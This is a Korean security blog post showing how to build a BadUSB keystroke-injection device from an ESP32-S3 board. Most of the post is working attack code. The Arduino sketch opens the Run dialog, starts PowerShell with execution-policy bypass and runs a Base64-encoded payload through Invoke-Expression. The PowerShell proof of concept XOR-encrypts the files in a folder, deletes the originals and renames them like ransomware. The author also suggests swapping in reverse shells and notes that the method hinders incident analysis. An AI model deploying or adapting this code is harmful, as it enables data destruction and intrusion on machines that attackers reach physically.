일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- webhacking.kr문제풀이
- reversing ollama
- dreamhack
- ghidra ollama
- ollama3.1
- 웹해킹
- 장고
- 바이러스
- 해킹문제
- 코로나바이러스
- vscode
- 백준
- jango
- ghidra mcp
- 해킹
- reversing mcp
- web
- 파이썬웹
- ollama mcp
- rubber ducky
- 장고vscode
- 코로나
- Django
- ghidra ollama mcp
- 리버싱
- djangovscode
- 해커
- reversing
- ghidra llm
- 파이썬
- Today
- Total
Kilkat
[arduino] Rubber Ducky? BadUSB? 본문
아두이노와 같은 보드를 HID(Human Interface Device)로 인식시켜서 악성행위를 하는 매크로를 제작할 수 있음
서버팜과 같은 곳은 키보드와 같은 HID 장치 연결이 기본적으로 제한되어 있어서, 물리적으로 접근 시 시도할 수 있는 공격 방법이 다양하지 않음
이런 문제에 ESP32-S3를 활용한 BadUSB 키트가 도움이 될수 있다고 생각함
뿐만 아니라, 별도의 파일 드롭 없이 키 매크로 만으로 여러 공격들을 시도해볼 수 있어서 사고 분석 시 초보 분석관들의 분석에 어려움을 유발시킬 수 있음
사용 보드

ESP32-S3 보드를 사용하였으며, 알리에서 중국산 카피 제품을 만원대에서 구매 가능함
IDE 환경 구성

Additional boards manager URLs에 https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_dev_index.json 를 입력하여 esp32 보드 매니저를 다운로드함

보드 매니저의 기본 설정에서 USB CDC On Boot를 Enabled, USB Mode를 USB-OTG로 변경함
아두이노 코드
#include "USB.h"
#include "USBHIDKeyboard.h"
USBHIDKeyboard Keyboard;
void setup() {
USB.begin();
Keyboard.begin();
delay(3000); // HID 장치 인식 대기
// Win + R 실행 (실행 창 열기)
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(300);
Keyboard.releaseAll();
delay(1000);
// PowerShell 실행
Keyboard.println("powershell -ExecutionPolicy Bypass -NoProfile");
delay(1000);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1500);
// Base64로 인코딩된 명령어 실행
Keyboard.print("$cmd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(");
Keyboard.print("\"");
// Base64 인코딩된 암호화 로직
Keyboard.print("Zg ... B1==");
Keyboard.print("\")); Invoke-Expression $cmd");
delay(1000);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
// 끝낸 후 HID 기능 중지
Keyboard.end();
}
void loop() {
}
Base64로 인코딩된 암호화 로직에는 실제 공격을 수행할 악성행위 로직을 Base64로 인코딩하여 삽입함
PoC 코드의 경우 XOR로 특정 디렉터리에 존재하는 파일을 암호화 시키는 Powershell 스크립트로 구성되어 있음
공격 코드
function XOR-Encrypt-Folder {
param (
[string]$FolderPath,
[string]$Key
)
$Files = Get-ChildItem -Path $FolderPath -File
$Counter = 1
foreach ($File in $Files) {
$InputFile = $File.FullName
$NewFileName = "hacked_$Counter.encrypt"
$NewFilePath = Join-Path -Path $File.DirectoryName -ChildPath $NewFileName
$Bytes = [System.IO.File]::ReadAllBytes($InputFile)
$KeyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key)
$KeyLength = $KeyBytes.Length
for ($i = 0; $i -lt $Bytes.Length; $i++) {
$Bytes[$i] = $Bytes[$i] -bxor $KeyBytes[$i % $KeyLength]
}
Remove-Item $InputFile -Force
[System.IO.File]::WriteAllBytes($NewFilePath, $Bytes)
$Counter++
}
}
XOR-Encrypt-Folder -FolderPath "$env:USERPROFILE\Desktop\ransom" -Key "MySecretKey"
exit
Base64로 암호화 시킬 Powershell 스크립트임
특정 경로 디렉터리 내에 있는 파일들을 XOR 암호화 하고 파일명, 확장자를 변환하는 로직으로 구성되어 있음
Base64 인코딩 크기를 줄이기 위해 예외는 별도 처리하지 않고, 코드라인을 줄이는 방향으로 선택함
해당 공격 구문은 여러 구성으로 변경할 수 있으며, Reverse bidn shell, SMB 존재 확인 후 암호화 등과 같이 여러 로직들로 구성하여 공격 시도가 가능함
PoC
Before

After


'Programming > c++' 카테고리의 다른 글
[c++] dll injection 탐지 (0) | 2025.03.08 |
---|